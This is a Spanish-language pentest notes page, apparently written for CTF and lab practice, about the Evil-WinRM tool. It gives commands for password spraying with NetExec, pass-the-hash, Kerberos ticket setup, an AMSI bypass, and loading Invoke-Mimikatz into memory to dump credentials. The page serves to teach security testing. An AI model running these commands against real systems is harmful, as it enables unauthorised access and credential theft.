🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Introduction
  • Validating Access
  • Authentication on WinRM
  • Usuario y contraseña
  • Usuario y contraseña + SSL
  • Usuario y hash NTLM [Pass-The-Hash (PtH)]
  • Autenticación con key (.pem)
  • Kerberos
  • Help Menu
  • Menu Functions
  • Bypass AMSI
  • Service Enumeration
  • Upload Transfer
  • Download Transfer
  • Loading PowerShell Script
  • Store logs with Evil-winrm
  • References

¿Te fue útil?

Exportar como PDF
  1. TOOLS

Evil-WinRM

Introduction

WinRM es la implementación de Microsoft del protocolo WS-Management, muy habitual en entornos Windows, especialmente en sus versiones Server. Fue diseñado para facilitar la administración remota del sistema. Aunque en las estaciones de trabajo (Windows 7, 8, 8.1 o 10) no viene activado por defecto, en Windows Server suele estar habilitado en el puerto 5985.

Si cuentas con acceso al sistema —ya sea con usuario y contraseña, con el hash NTLM o incluso con un ticket TGT de Kerberos— puedes conectarte a este servicio y obtener una shell en el sistema. Esto es especialmente útil en la etapa de post-explotación, una vez que ya tienes cierto control sobre el entorno.

Aquí es donde entra Evil-WinRM, una de las herramientas más interesantes para explotar y gestionar conexiones a través de WinRM, permitiéndote realizar pruebas de post-explotación de manera eficaz y práctica.

Para instalar evil-winrm ejecutaremos el siguiente comando:

sudo gem install evil-winrm

Validating Access

Para verificar que disponemos de acceso para conectarnos a través de WinRM al equipo, podemos hacer uso de la herramienta nxc (NetExec) para validar dicho acceso. En el resultado nos debe aparecer con un + y con la palabra Pwn3d!. En caso contrario, solamente nos saldrá como -.

Ejemplo de acceso para conectarnos al equipo mediante WinRM.

❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM       10.10.10.10    5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM       10.10.10.10    5985   DC               [+] dominio.htb\user123:Password01! (Pwn3d!)

Ejemplo de que no disponemos de acceso para conectarnos al equipo mediante WinRM.

❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM       10.10.10.10    5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM       10.10.10.10    5985   DC               [-] dominio.htb\user123:Password01!

Autenticación usuario y contraseña

nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'

Autenticación realizando Pass-The-Hash (PtH) con el hash NTLM

nxc winrm 10.10.10.10 -u 'user123' -H 'E45A314C664D40A227F9540121D1A29D'

Autenticación mediante Kerberos

nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!' -k

Autenticación mediante Kerberos (.ccache)

nxc winrm dc.dominio.htb --use-kcache

Password Spraying / Brute Force

ncx winrm 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success
nxc winrm 10.10.10.10 -u 'user1' -p passwords.txt --continue-on-success
nxc winrm 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success

Authentication on WinRM

A continuación, se detallan como conectarnos mediante evil-winrm a un equipo que disponga WinRM expuesto.

Usuario y contraseña

evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!'

Usuario y contraseña + SSL

evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!' -S

Usuario y hash NTLM [Pass-The-Hash (PtH)]

evil-winrm -i 10.10.10.10 -u 'user' -H 'E45A314C664D40A227F9540121D1A29D'

Autenticación con key (.pem)

evil-winrm -i 10.10.10.10 -c certificate.pem -k priv-key.pem -S

Kerberos

La autenticación mediante Kerberos requiere de una serie de pasos previos para que funcione correctamente.

  • Sincronizar la hora de la máquina local con la del Domain Controller.

  • Disponer de un TGT (Ticket Granting Ticket)

  • Exportar el TGT en la variable KRB5CCNAME

  • Disponer de la instalación de krb5-user y krb5-config en el equipo local

  • Configurar adecuadamente el archivo /etc/krb5.conf con la configuración necesaria del dominio

  • Configurar correctamente el archivo /etc/hosts para la resolución de nombres.

El comando para conectarnos mediante el TGT obtenido es el siguiente:

evil-winrm -i dc.dominio.htb -r dominio.htb

Para configurar paso a paso esta autenticación al WinRM mediante Kerberos, realizaremos los siguientes pasos:

Deberemos de sincronizar la hora de nuestro equipo con la del DC (Domain Controller).

Instalaremos el paquete de ntpdate para ayudarnos a sincronizar la hora de nuestro reloj.

sudo apt install ntpdate -y

Una vez instalado, sincronizaremos nuestra hora con la del DC.

sudo ntpdate -s 10.10.10.10

Deberemos de disponer de un TGT (Ticket Granting Ticket) del usuario con el que queramos conectarnos. Disponemos de varias maneras de haber obtenido ya un TGT, pero en este caso explicaremos solamente a solicitarlo para el usuario que disponemos sus credenciales.

A través de la herramienta de impacket-getTGT obtendremos un TGT válido para nuestro usuario.

Usuario/contraseña
impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10
Pass-The-Hash (PtH)
impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10

Una vez solicitado el TGT, nos deberá proporcionar un archivo .ccache.

Una vez obtenido el TGT (.ccache), deberemos de exportar este tiquet en la variable KRB5CCNAME para poder utilizarlo correctamente.

export KRB5CCNAME=$(pwd)/user.ccache

Instalaremos el paquete de krb5-user a través del siguiente comando:

sudo apt install krb5-user

Una vez instalado, validaremos que el tiquet TGT obtenido y declarado en KRB5CCNAME funcione correctamente. Nos deberá aparecer nuestro TGT.

klist

Instalaremos el paquete necesario para el /etc/krb5.conf a través del siguiente comando:

sudo apt install krb5-config -y

Una vez instalado el paquete, deberemos de configurar el archivo /etc/krb5.conf para que se adapte al dominio correspondiente.

sudo nano /etc/krb5.conf

A continuación, dejaremos un archivo /etc/krb5.conf de ejemplo.

/etc/krb5.conf
[libdefaults]
    default_realm = DOMINIO.HTB
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    rdns = false

[realms]
    HAZE.HTB = {
        kdc = dc.dominio.htb
        admin_server = dc.dominio.htb
        default_domain = dominio.htb
    }

[domain_realm]
    .dominio.htb = DOMINIO.HTB
    dominio.htb = DOMINIO.HTB

Deberemos de disponer en nuestro archivo /etc/hosts las entradas correspondientes para que nos resuelva correctamente el hostname, FQDN y nombre del dominio.

Ejemplo:

  • Dirección IP: 10.10.14.13

  • Hostname: dc01

  • Dominio: gzzcoo.htb

  • FQDN: dc01.gzzcoo.htb

Nuestro archivo /etc/hosts deberá tener la siguiente entrada correspondiente.

echo '10.10.14.13 dc01 dc01.gzzcoo.htb gzzcoo.htb' | sudo tee -a /etc/hosts

Help Menu


Menu Functions

Bypass AMSI

La herramienta de evil-winrm dispone de un módulo para realizar un Bypass de la AMSI para lograr ejecutar nuestro código malicioso.

Bypass-4MSI

Service Enumeration

A veces, las herramientas de enumeración en post-explotación no logran identificar el nombre del servicio activo en el sistema objetivo. En esos casos, evil-winrm resulta muy útil, ya que permite ver una lista completa de los servicios en ejecución desde su menú, específicamente a través de la opción de services. Esto es especialmente valioso para detectar servicios sin comillas, que otras herramientas podrían pasar por alto.

services

Upload Transfer

Evil-WinRM cuenta con un módulo que te permite subir archivos desde el directorio actual de tu sesión directamente al sistema comprometido.

Esto facilita la transferencia de herramientas, scripts u otros recursos necesarios para continuar con tus actividades de post-explotación de manera sencilla y directa.

upload <archivo>

Download Transfer

Evil-WinRM también te permite extraer archivos del sistema comprometido hacia tu máquina local. Simplemente, estando en el directorio deseado, utiliza el comando:

Esto resulta muy práctico para recolectar información o respaldar archivos importantes durante la fase de post-explotación.

download </ruta/archivo>

Loading PowerShell Script

Evil-winrm ofrece una funcionalidad que permite cargar scripts directamente desde nuestra máquina local. Usando la opción -s seguida de la ruta del script, podemos inyectarlo en memoria en el sistema objetivo. Además, cuenta con una capacidad para omitir AMSI, lo que resulta fundamental antes de importar cualquier script.

En el ejemplo que se muestra, primero se desactiva AMSI y luego se carga el script Invoke-Mimikatz.ps1 en la memoria del sistema comprometido, lo que nos permite ejecutar comandos de mimikatz. Con este método, por ejemplo, podemos volcar las credenciales en caché y, posteriormente, utilizar el hash NTLM obtenido para realizar un ataque de Pass-The-Hash (PtH).

evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -s /opt/nishang/Gather/

Bypass-4MSI

Invoke-Mimikatz.ps1

Invoke-Mimikatz

Store logs with Evil-winrm

Esta función te permite guardar registros de tus sesiones remotas en tu máquina local durante la fase de enumeración. En escenarios como CTF o pruebas internas de penetración, es esencial contar con un historial para la elaboración de informes. Evil-winrm incorpora la opción -l, que al incluirla en la sesión, almacena automáticamente todos los logs en el directorio /root/evil-winrm-logs de tu máquina base, etiquetados con la fecha y la IP del objetivo. Por ejemplo, si ejecutas el comando ipconfig durante una sesión, la salida se registrará localmente, facilitándote la referencia posterior.

evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -l

Podemos corroborarlo revisando los registros almacenados; notarás que se capturó una imagen de la terminal en el instante en el que ejecutamos el comando ipconfig.


References

AnteriorSmbmapSiguienteWindows executables and DLL's

Última actualización hace 1 mes

¿Te fue útil?

A Detailed Guide on Evil-Winrm - Hacking ArticlesHacking Articles
Logo
Evil-WinRM: Shell sobre WinRM para pentesting en sistemas Windows - Parte 1 de 2 - The Hacker WayThe Hacker Way
Evil-WinRM: Shell sobre WinRM para pentesting en sistemas Windows – Parte 2 de 2 - The Hacker WayThe Hacker Way
Logo
Logo